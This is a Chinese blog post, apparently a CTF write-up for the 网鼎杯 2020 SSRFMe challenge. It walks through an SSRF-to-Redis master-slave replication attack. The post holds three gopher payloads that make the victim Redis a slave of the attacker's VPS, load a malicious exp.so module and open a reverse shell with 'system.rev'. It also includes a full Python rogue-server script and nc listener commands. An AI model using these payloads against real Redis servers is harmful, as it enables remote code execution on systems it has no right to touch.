首页 > 数据库 >SSRF打redis主从(更了)

SSRF打redis主从(更了)

时间:2024-04-26 20:34:35浏览次数:26  
标签:SSRF 0.0 redis 250d% 主从 result payload CRLF

翻下去看更新

受不了了。

打的题目是网鼎杯2020玄武组的SSRFMe。

打了一天,都是在module load那里失败,开了vps也不行,难道是redis版本对不上?

 

话不多说,我直接上payload,实在受不了了。

[root@EddieMurphy redis-7.0.2]# redis-server redis.conf

[root@EddieMurphy redis-rogue-server-master]# python3 redis-rogue-server.py --rhost=127.0.0.1 --lhost=vps

[root@EddieMurphy ~]# nc -lvp 6663

先在vps上起一个redis和rogue,工具用的redis-rogue-server-master,含有exp.so文件,直接用,redis的rhost默认端口是6379,vps的lhost默认端口是21000。

 

然后就是gopher打url:网上的构造脚本一大把

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520vps%252021000%250d%250aquit

gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520/tmp/exp.so%250d%250asystem.rev%2520vps%25206663%250d%250aquit

第一个设置tmp为备份目录,第二个设一个filename并且设置靶机自己成为从服务器,vps上起的redis为主服务器,第三个module load exp.so,然后利用exp.so文件里的system模块RCE。

然而我第三个payload稳定报错,尝试了其他payload发现就是module load这里出错,也就是我的exp.so没传上去过。

正常情况下应该就通了,但so文件传不上去,也就会出现识别不了后面system的RCE命令。

 

但思路就是这样,还是挺清晰的。

最后我想到的问题就是会不会是我redis版本有问题,因为这个主从RCE漏洞是redis4.x~redis5.0.5版本,我本地的主redis版本为7.0.2,会不会因为这个原因导致我本地的exp.so传不到靶机的从redis上。

也希望各位大佬解惑。

 

 

-------

后续我又用了redis5.0.1来打,结果还是module load稳定报错。

毁灭吧....

 

 

-------

后续我怀疑vps出问题了,所以我按照其他wp的方法,buu开了个小号再开了个linux:

ssh上号:

ssh -p 29975 [email protected]

选完yes输密码123456:

scp -r -P 29975 /home/eddiemurphy/tools/Awsome-Redis-Rogue-Server-master [email protected]:/tools

用scp传了一下工具,端口号看开靶机给的什么号,注意要先-r再-P,不然会报错:

正常传就有了:

然后用这个wp的方法打:很经典的一道CTF-WriteUP[网鼎杯 2020 玄武组]SSRFMe - FreeBuf网络安全行业门户

但buu那个linux里没有pip3,要先去根目录python3 get-pip.py

然后下载需要的chardet模块:

然后又寄,load失败,服啦!

---------------------------------------------------------------------------------------------------------------------------------------

2024/04/26

突然想到这个题几个月前没打出来,想起来就开了靶场。

打了那么多渗透,这次一把就成功了。

只能说菜就多练。

[网鼎杯 2020 玄武组]SSRFMe_unknown command `system.exec`, with args beginning-CSDN博客 (bing.com)

直接跟这个,其他的全是傻逼,当时我就着了其他博客的道,要么payload有问题,要么工具有问题。

三个payload,改改vps和端口就完了:

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520vps%2520port%250d%250aquit

gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520/tmp/exp.so%250d%250asystem.rev%2520vps%2520port%250d%250aquit

回想几个月前的那个傻逼一样的自己,我还以为打redis主从必须自己起一个redis,其实你去看看上面博客给的工具的源码,就会发现,它只是模拟了redis发包的服务:

rogue-server.py:(原port是6666,我改成了21000)

#!/usr/local/bin python
#coding=utf8
import socket
import time

CRLF="\r\n"
payload=open("exp.so","rb").read()
exp_filename="exp.so"

def redis_format(arr):
    global CRLF
    global payload
    redis_arr=arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len(x))+CRLF+x
    cmd+=CRLF
    return cmd

def redis_connect(rhost,rport):
    sock=socket.socket()
    sock.connect((rhost,rport))
    return sock

def send(sock,cmd):
    sock.send(redis_format(cmd))
    print(sock.recv(1024).decode("utf-8"))

def RogueServer(lport):
    global CRLF
    global payload
    flag=True
    result=""
    sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.bind(("0.0.0.0",lport))
    sock.listen(10)
    clientSock, address = sock.accept()
    
    print("\033[92m[+]\033[0m Accepted connection from {}:{}".format(address[0], address[1]))
    
    while flag:
        data = clientSock.recv(1024)
        if "PING" in data:
            result="+PONG"+CRLF
            clientSock.send(result)
            flag=True
        elif "REPLCONF" in data:
            result="+OK"+CRLF
            clientSock.send(result)
            flag=True
        elif "PSYNC" in data or "SYNC" in data:
            result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF
            result += "$" + str(len(payload)) + CRLF
            result = result.encode()
            result += payload
            result += CRLF
            clientSock.send(result)
            print("\033[92m[+]\033[0m FULLRESYNC ...")
            flag=False
            
    print("\033[92m[+]\033[0m It's done")
    
if __name__=="__main__":

    lport=21000
    RogueServer(lport)

所以,你并不需要自己下一个redis,只需要起一个这个脚本就完事了。

其他没啥需要注意的,唯一需要注意的是传exp.so的时候最好写个test.sh死循环,不然传不上去:

可以看到,哥们打第二个payload的时候前面进程全死了,只有一次传成功,看到这个输出后再打第三个payload,直接反弹shell:

本来渗透打多了,下意识想python整个交互式shell,但是想了想就一个cat flag的事,就懒得写了:

标签:SSRF,0.0,redis,250d%,主从,result,payload,CRLF
From: https://www.cnblogs.com/EddieMurphy-blogs/p/17981123

相关文章

  • redis分布锁
     配置Redisson连接在SpringBoot项目的配置文件application.yml中添加Redisson配置:spring:data:redis:host:localhostport:6379database:0redisson:codec:org.redisson.codec.JsonJacksonCodecsingle-server-config:ad......
  • springboot链接redis IPV6
    <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-redis</artifactId><exclusions><exclusion>......
  • redis系列02---缓存过期、穿透、击穿、雪崩
    一、缓存过期问题产生的原由:内存空间有限,给缓存设置过期时间,但有些键值运气比较好,每次都没有被我的随机算法选中,每次都能幸免于难,这可不行,这些长时间过期的数据一直霸占着不少的内存空间!解决方案:redis提供8种策略供应用程序选择,用于我遇到内存不足时该如何决策:*noeviction:返......
  • Redis分布式锁
    Redis分布式锁如何实现?在Redis中提供了一个命令setnx(SETifnotexists)由于Redis的单线程的,用了命令之后,只能有一个客户端对某一个key设置值,在没有过期或删除key的时候是其他客户端是不能设置这个key的。如何控制Redis实现分布式锁有效时长呢?Redis的setnx指令不好控制这个......
  • redis相关
    redis是一种nosql数据库,sql是关系型数据库,nosql是非关系型数据库,一般以键值对、json、图数据库等为主sql中会存储包含外键的关系表,nosql更多以键值对嵌套形式来表示关系,缺点是没有约束容易重复。从查询语句上来说sql格式较为固定,优点是只要是关系型数据库都能用相同的sql语句查......
  • redis
    一、redis为什么快1.基于内存:内存读写效率远高于磁盘读写2.存储形式:键值对的内存数据库,哈希表结构O(1)时间复杂度可以获取值3.单线程:避免上下文切换4.IO多路复用:单个线程处理多个客户端链接5.编码:支持多种数据结构及编码,根据元素数量,有阀值,大于小于阀值的编码不......
  • Redis淘汰策略
    Redis过期策略有几种?Redis中提供八种过期策略,默认是noeviction,即不删除任何数据,当内存不足时会直接报错。可以在Redis的配置文件中进行设置。noeviction:不淘汰任何key,但是内存满时不允许写入新数据,默认就是这种策略。volatile-ttl:对设置了TTL的key,比较key的剩余TTL值,TTL越......
  • Redis场景
    redis应用场景Redis在缓存和队列方面有着广泛的应用场景,下面详细介绍一下:缓存应用场景:页面缓存:在Web应用中,Redis可以用作页面缓存,存储页面渲染结果,以减轻数据库的压力,提高页面响应速度。当用户请求某个页面时,首先检查Redis中是否存在该页面的缓存,如果存在则直接返回缓......
  • redis安装及使用
    Redis与传统数据库的一个主要区别在于,Redis把所有数据都存储在内存中,而传统数据库通常只会把数据的索引存储在内存中,并将实际的数据存储在硬盘中。为了满足不同的持久化需求,Redis提供了RDB持久化、AOF持久化和RDB-AOF混合持久化等多种持久化方式以供用户选择。如果用户有需要,也......
  • redis使用
    Pythonredis使用介绍|菜鸟教程(runoob.com)Python操作Redis,你要的都在这了!-John-Python-博客园(cnblogs.com)redis基本命令Stringset(name,value,ex=None,px=None,nx=False,xx=False)在Redis中设置值,默认,不存在则创建,存在则修改。参数:ex-过期时间(秒......